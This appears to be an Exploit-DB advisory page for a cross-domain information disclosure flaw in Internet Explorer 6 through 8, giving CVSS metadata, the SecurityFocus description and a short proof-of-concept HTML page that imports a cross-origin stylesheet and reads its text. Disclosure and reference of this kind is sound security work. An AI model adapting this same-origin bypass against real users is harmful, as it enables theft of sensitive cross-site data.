Cross-Domain Information Disclosure Vulnerability in Microsoft Internet Explorer

vendor:

Internet Explorer

by:

Unknown

7.5

CVSS

HIGH

Cross-Domain Information Disclosure

Unknown

CWE

Product Name: Internet Explorer

Affected Version From: Internet Explorer 6

Affected Version To: Internet Explorer 8

Patch Exists: NO

Related CWE: Unknown

CPE: Unknown

Metasploit:

Other Scripts:

Platforms Tested:

Unknown

Cross-Domain Information Disclosure Vulnerability in Microsoft Internet Explorer

Microsoft Internet Explorer is prone to a cross-domain information-disclosure vulnerability because the application fails to enforce the same-origin policy. An attacker can exploit this issue by enticing an unsuspecting user into viewing a page containing malicious content. Successful exploits will allow attackers to bypass the same-origin policy and obtain potentially sensitive information; other attacks are possible.

Mitigation:

Unknown

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/42993/info

Microsoft Internet Explorer is prone to a cross-domain information-disclosure vulnerability because the application fails to enforce the same-origin policy.

An attacker can exploit this issue by enticing an unsuspecting user into viewing a page containing malicious content.

Successful exploits will allow attackers to bypass the same-origin policy and obtain potentially sensitive information; other attacks are possible.

This issue affects Internet Explorer 6, 7, and 8. 

<html> <head> <style> @import url("http://www.example.com/hi_heige"); </style> <script> function loaded() { alert(document.styleSheets(0).imports(0).cssText); } </script> </head> <body onload="loaded()"> </body> </html>